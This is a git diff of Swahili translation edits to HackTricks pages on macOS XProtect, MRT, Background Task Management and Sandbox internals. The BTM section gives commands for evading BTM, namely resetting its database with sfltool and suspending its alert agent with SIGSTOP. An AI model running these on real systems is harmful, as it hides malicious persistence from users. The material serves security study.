[macos-sandbox](macos-sandbox/)
|
||||
|
@ -65,22 +69,22 @@ Mara tu malware inapogundulika kwenye Mac (ama na XProtect au kwa njia nyingine)
|
|||
|
||||
Ingawa XProtect na MRT ni sehemu ya hatua za usalama za macOS, zinafanya kazi tofauti:
|
||||
|
||||
* **XProtect** ni zana ya kuzuia. Inafanya **kuangalia faili wakati zinapakuliwa** (kupitia programu fulani), na ikiwa inagundua aina zozote za malware zinazojulikana, in **azuia faili kufunguliwa**, hivyo kuzuia malware kuathiri mfumo wako kwa mara ya kwanza.
|
||||
* **XProtect** ni zana ya kuzuia. Inafanya **ukaguzi wa faili wakati zinapopakuliwa** (kupitia programu fulani), na ikiwa inagundua aina zozote za malware zinazojulikana, inazuia **faili kufunguliwa**, hivyo kuzuia malware kuathiri mfumo wako kwa mara ya kwanza.
|
||||
* **MRT**, kwa upande mwingine, ni **zana ya kujibu**. Inafanya kazi baada ya malware kugundulika kwenye mfumo, kwa lengo la kuondoa programu inayosababisha tatizo ili kusafisha mfumo.
|
||||
|
||||
Programu ya MRT iko katika **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
## Background Tasks Management
|
||||
|
||||
**macOS** sasa **inaarifu** kila wakati zana inapotumia **mbinu inayojulikana ya kudumisha utekelezaji wa msimbo** (kama vile Vitu vya Kuingia, Daemons...), hivyo mtumiaji anajua bora **ni programu gani inayoendelea**.
|
||||
**macOS** sasa **inaarifu** kila wakati zana inapotumia **mbinu inayojulikana ya kudumisha utekelezaji wa msimbo** (kama vile Vitu vya Kuingia, Daemons...), hivyo mtumiaji anajua vizuri **ni programu gani inayoendelea**.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Hii inafanya kazi na **daemon** iliyoko katika `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` na **agent** katika `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
||||
|
||||
Njia ambayo **`backgroundtaskmanagementd`** inajua kitu kimewekwa katika folda ya kudumu ni kwa **kupata FSEvents** na kuunda baadhi ya **wajibu** kwa ajili yao.
|
||||
Njia ambayo **`backgroundtaskmanagementd`** inajua kitu kimewekwa katika folda ya kudumu ni kwa **kupata FSEvents** na kuunda **wajibu** kwa ajili yao.
|
||||
|
||||
Zaidi ya hayo, kuna faili ya plist ambayo ina **programu zinazojulikana** ambazo mara nyingi hufanya kazi kwa kudumu zinazoshughulikiwa na apple iliyoko katika: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
Zaidi ya hayo, kuna faili ya plist ambayo ina **programu zinazojulikana** ambazo mara kwa mara zinadumishwa na apple iliyoko katika: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
```json
|
||||
[...]
|
||||
"us.zoom.ZoomDaemon" => {
|
||||
|
@ -114,7 +118,7 @@ Hii habari inahifadhiwa katika **`/private/var/db/com.apple.backgroundtaskmanage
|
|||
|
||||
### Kuingilia BTM
|
||||
|
||||
Wakati uvumbuzi mpya wa kudumu unapatikana, tukio la aina **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** linatokea. Hivyo, njia yoyote ya **kuzuia** **tukio** hili kutumwa au **wakala kuonya** mtumiaji itasaidia mshambuliaji _**kuepuka**_ BTM.
|
||||
Wakati uvumbuzi mpya wa kudumu unapatikana, tukio la aina **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`** linatokea. Hivyo, njia yoyote ya **kuzuia** tukio hili **kutumwa** au **wakala kuonya** mtumiaji itasaidia mshambuliaji _**kuepuka**_ BTM.
|
||||
|
||||
* **Kurekebisha hifadhidata**: Kukimbia amri ifuatayo kutarekebisha hifadhidata (inapaswa kujenga upya kutoka mwanzo), hata hivyo, kwa sababu fulani, baada ya kukimbia hii, **hakuna uvumbuzi mpya utakaonyeshwa hadi mfumo upya uzinduliwe**.
|
||||
* **root** inahitajika.
|
||||
|
@ -122,7 +126,7 @@ Wakati uvumbuzi mpya wa kudumu unapatikana, tukio la aina **`ES_EVENT_TYPE_NOTIF
|
|||
# Reset the database
|
||||
sfltool resettbtm
|
||||
```
|
||||
* **Stop the Agent**: Inawezekana kutuma ishara ya kusitisha kwa wakala ili **isiwe inamwonya mtumiaji** wakati ugunduzi mpya unapopatikana.
|
||||
* **Stop the Agent**: Inawezekana kutuma ishara ya kusitisha kwa wakala ili **isiwe inamwonya mtumiaji** wakati kugundua mpya kunapatikana.
|
||||
```bash
|
||||
# Get PID
|
||||
pgrep BackgroundTaskManagementAgent
|
||||
|
@ -135,16 +139,17 @@ kill -SIGSTOP 1011
|
|||
ps -o state 1011
|
||||
T
|
||||
```
|
||||
* **Bug**: Ikiwa **mchakato uliounda kudumu upo haraka baada yake**, daemon itajaribu **kupata taarifa** kuhusu hiyo, **itashindwa**, na **haitaweza kutuma tukio** linaloashiria kwamba kitu kipya kinadumu.
|
||||
* **Bug**: Ikiwa **mchakato ulioanzisha kudumu upo haraka baada yake**, daemon itajaribu **kupata taarifa** kuhusu hiyo, **itashindwa**, na **haitaweza kutuma tukio** linaloashiria kwamba kitu kipya kinadumu.
|
||||
|
||||
Marejeo na **maelezo zaidi kuhusu BTM**:
|
||||
|
||||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/grte.png" al
|
|||
|
||||
## Basic Information
|
||||
|
||||
MacOS Sandbox (awali ilijulikana kama Seatbelt) **inaweka mipaka kwa programu** zinazotembea ndani ya sandbox kwa **vitendo vilivyokubaliwa vilivyobainishwa katika profaili ya Sandbox** ambayo programu inatumia. Hii husaidia kuhakikisha kwamba **programu itakuwa inapata rasilimali zinazotarajiwa tu**.
|
||||
MacOS Sandbox (mwanzo ilijulikana kama Seatbelt) **inaweka mipaka kwa programu** zinazotembea ndani ya sandbox kwa **vitendo vilivyokubaliwa vilivyobainishwa katika profaili ya Sandbox** ambayo programu inatumia. Hii husaidia kuhakikisha kwamba **programu itakuwa inapata rasilimali zinazotarajiwa tu**.
|
||||
|
||||
Programu yoyote yenye **entitlement** **`com.apple.security.app-sandbox`** itatekelezwa ndani ya sandbox. **Apple binaries** kwa kawaida hutekelezwa ndani ya Sandbox, na programu zote kutoka **App Store zina entitlement hiyo**. Hivyo, programu kadhaa zitatekelezwa ndani ya sandbox.
|
||||
|
||||
|
@ -43,7 +43,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
Ndani ya kila folda ya bundle id unaweza kupata **plist** na **Data directory** ya App yenye muundo unaofanana na folda ya Nyumbani:
|
||||
Ndani ya kila folda ya kitambulisho cha kifurushi unaweza kupata **plist** na **Direktori ya Data** ya App yenye muundo unaofanana na folda ya Nyumbani:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -70,7 +70,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
|||
Kumbuka kwamba hata kama symlinks zipo ili "kutoroka" kutoka Sandbox na kufikia folda nyingine, App bado inahitaji **kuwa na ruhusa** za kuzifikia. Ruhusa hizi ziko ndani ya **`.plist`** katika `RedirectablePaths`.
|
||||
{% endhint %}
|
||||
|
||||
The **`SandboxProfileData`** is the compiled sandbox profile CFData escaped to B64.
|
||||
**`SandboxProfileData`** ni profaili ya sandbox iliyokusanywa CFData iliyokwepa hadi B64.
|
||||
```bash
|
||||
# Get container config
|
||||
## You need FDA to access the file, not even just root can read it
|
||||
|
@ -266,7 +266,7 @@ Katika iOS, wasifu wa kawaida unaitwa **container** na hatuna uwakilishi wa maan
|
|||
|
||||
### SBPL Maalum katika programu za App Store
|
||||
|
||||
Inaweza kuwa inawezekana kwa kampuni kufanya programu zao zifanye kazi **na wasifu wa Sandbox maalum** (badala ya wa kawaida). Wanahitaji kutumia ruhusa **`com.apple.security.temporary-exception.sbpl`** ambayo inahitaji kuidhinishwa na Apple.
|
||||
Inawezekana kwa kampuni kufanya programu zao zifanye kazi **na wasifu wa Sandbox maalum** (badala ya wa kawaida). Wanahitaji kutumia ruhusa **`com.apple.security.temporary-exception.sbpl`** ambayo inahitaji kuidhinishwa na Apple.
|
||||
|
||||
Inawezekana kuangalia ufafanuzi wa ruhusa hii katika **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
|
@ -330,7 +330,7 @@ sbtool <pid> all
|
|||
|
||||
Inawezekana pia kusitisha na kuondoa kusitishwa kwa sandbox kwa kutumia kazi `sandbox_suspend` na `sandbox_unsuspend` kutoka `libsystem_sandbox.dylib`.
|
||||
|
||||
Kumbuka kwamba ili kuita kazi ya kusitisha, haki fulani zinakaguliwa ili kuidhinisha mwitikiaji kuitumia kama:
|
||||
Kumbuka kwamba ili kuita kazi ya kusitisha, haki fulani zinakaguliwa ili kuidhinisha mwito kama:
|
||||
|
||||
* com.apple.private.security.sandbox-manager
|
||||
* com.apple.security.print
|
||||
|
@ -351,7 +351,7 @@ Kazi `___sandbox_ms` inafunga `mac_syscall` ikionyesha katika hoja ya kwanza `"S
|
|||
* **extension\_consume (#6)**: Tumia nyongeza iliyotolewa.
|
||||
* **extension\_release (#7)**: Achilia kumbukumbu iliyohusishwa na nyongeza iliyotumiwa.
|
||||
* **extension\_update\_file (#8)**: Badilisha vigezo vya nyongeza ya faili iliyopo ndani ya sandbox.
|
||||
* **extension\_twiddle (#9)**: Rekebisha au badilisha nyongeza ya faili iliyopo (mfano, TextEdit, rtf, rtfd).
|
||||
* **extension\_twiddle (#9)**: Badilisha au rekebisha nyongeza ya faili iliyopo (mfano, TextEdit, rtf, rtfd).
|
||||
* **suspend (#10)**: Kusitisha kwa muda ukaguzi wote wa sandbox (inahitaji haki zinazofaa).
|
||||
* **unsuspend (#11)**: Anza tena ukaguzi wote wa sandbox uliositishwa hapo awali.
|
||||
* **passthrough\_access (#12)**: Ruhusu ufikiaji wa moja kwa moja kwa rasilimali, ukipita ukaguzi wa sandbox.
|
||||
|
@ -376,22 +376,22 @@ Kazi `___sandbox_ms` inafunga `mac_syscall` ikionyesha katika hoja ya kwanza `"S
|
|||
Kumbuka kwamba katika iOS, nyongeza ya kernel ina **wasifu wote waliowekwa** ndani ya sehemu ya `__TEXT.__const` ili kuzuia kubadilishwa. Hapa kuna baadhi ya kazi za kuvutia kutoka kwa nyongeza ya kernel:
|
||||
|
||||
* **`hook_policy_init`**: Inachanganya `mpo_policy_init` na inaitwa baada ya `mac_policy_register`. Inatekeleza sehemu kubwa ya uanzishaji wa Sandbox. Pia inaanzisha SIP.
|
||||
* **`hook_policy_initbsd`**: Inatayarisha interface ya sysctl ikijiandikisha `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` na `security.mac.sandbox.debug_mode` (ikiwa imebood na `PE_i_can_has_debugger`).
|
||||
* **`hook_policy_initbsd`**: Inatayarisha interface ya sysctl ikijiandikisha `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` na `security.mac.sandbox.debug_mode` (ikiwa imeboreshwa na `PE_i_can_has_debugger`).
|
||||
* **`hook_policy_syscall`**: Inaitwa na `mac_syscall` ikiwa na "Sandbox" kama hoja ya kwanza na msimbo unaoashiria operesheni katika ya pili. Switch inatumika kupata msimbo wa kuendesha kulingana na msimbo uliotakiwa.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** inatumia zaidi ya mia moja ya hooks kupitia MACF. Mengi ya hooks haya yatakagua tu hali fulani za kawaida ambazo zinaruhusu kutekeleza kitendo, ikiwa sivyo, zitaita **`cred_sb_evalutate`** na **vigezo** kutoka MACF na nambari inayohusiana na **operesheni** ya kutekeleza na **buffer** kwa ajili ya matokeo.
|
||||
|
||||
Mfano mzuri wa hiyo ni kazi **`_mpo_file_check_mmap`** ambayo inachanganya **`mmap`** na ambayo itaanza kuangalia ikiwa kumbukumbu mpya itakuwa na uwezo wa kuandikwa (na ikiwa sivyo ruhusu utekelezaji), kisha itakagua ikiwa inatumika kwa cache ya pamoja ya dyld na ikiwa ndivyo ruhusu utekelezaji, na hatimaye itaita **`cred_sb_evalutate`** ili kufanya ukaguzi zaidi wa ruhusa.
|
||||
Mfano mzuri wa hiyo ni kazi **`_mpo_file_check_mmap`** ambayo inachanganya **`mmap`** na ambayo itaanza kuangalia ikiwa kumbukumbu mpya itakuwa inapatikana kwa kuandikwa (na ikiwa sivyo ruhusu utekelezaji), kisha itakagua ikiwa inatumika kwa cache ya pamoja ya dyld na ikiwa ndivyo ruhusu utekelezaji, na hatimaye itaita **`sb_evaluate_internal`** (au moja ya vifungashio vyake) ili kufanya ukaguzi zaidi wa ruhusa.
|
||||
|
||||
Zaidi ya hayo, kati ya mia kadhaa ya hooks ambazo Sandbox inatumia, kuna 3 kwa hasa ambazo ni za kuvutia sana:
|
||||
Zaidi ya hayo, kati ya mamia ya hooks ambazo Sandbox inatumia, kuna 3 kwa hasa ambazo ni za kuvutia sana:
|
||||
|
||||
* `mpo_proc_check_for`: Inatumia wasifu ikiwa inahitajika na ikiwa haijatumika hapo awali
|
||||
* `mpo_vnode_check_exec`: Inaitwa wakati mchakato unapoleta binary inayohusiana, kisha ukaguzi wa wasifu unafanywa na pia ukaguzi unaozuia utekelezaji wa SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Hii inaitwa wakati lebo inatolewa. Hii ni ndefu zaidi kwani inaitwa wakati binary imepakiwa kikamilifu lakini haijatekelezwa bado. Itatekeleza vitendo kama kuunda kitu cha sandbox, kuunganisha muundo wa sandbox kwa vigezo vya kauth, kuondoa ufikiaji wa mach ports...
|
||||
* `mpo_vnode_check_exec`: Inaitwa wakati mchakato unapoleta binary inayohusishwa, kisha ukaguzi wa wasifu unafanywa na pia ukaguzi unaozuia utekelezaji wa SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Hii inaitwa wakati lebo inatolewa. Hii ni ndefu zaidi kwani inaitwa wakati binary imepakiwa kikamilifu lakini haijatekelezwa bado. Itafanya vitendo kama kuunda kitu cha sandbox, kuunganisha muundo wa sandbox kwa vigezo vya kauth, kuondoa ufikiaji wa bandari za mach...
|
||||
|
||||
Kumbuka kwamba **`cred_sb_evalutate`** ni kifungashio juu ya **`sb_evaluate`** na kazi hii inapata vigezo vilivyopitishwa na kisha inatekeleza tathmini kwa kutumia kazi ya **`eval`** ambayo kawaida inakagua **wasifu wa jukwaa** ambao kwa default unatumika kwa mchakato wote na kisha **wasifu maalum wa mchakato**. Kumbuka kwamba wasifu wa jukwaa ni moja ya sehemu kuu za **SIP** katika macOS.
|
||||
Kumbuka kwamba **`_cred_sb_evalutate`** ni kifungashio juu ya **`sb_evaluate_internal`** na kazi hii inapata vigezo vilivyopitishwa na kisha inafanya tathmini kwa kutumia kazi ya **`eval`** ambayo kawaida inakagua **wasifu wa jukwaa** ambao kwa default unatumika kwa mchakato wote na kisha **wasifu maalum wa mchakato**. Kumbuka kwamba wasifu wa jukwaa ni moja ya sehemu kuu za **SIP** katika macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
|
Loading…
Reference in a new issue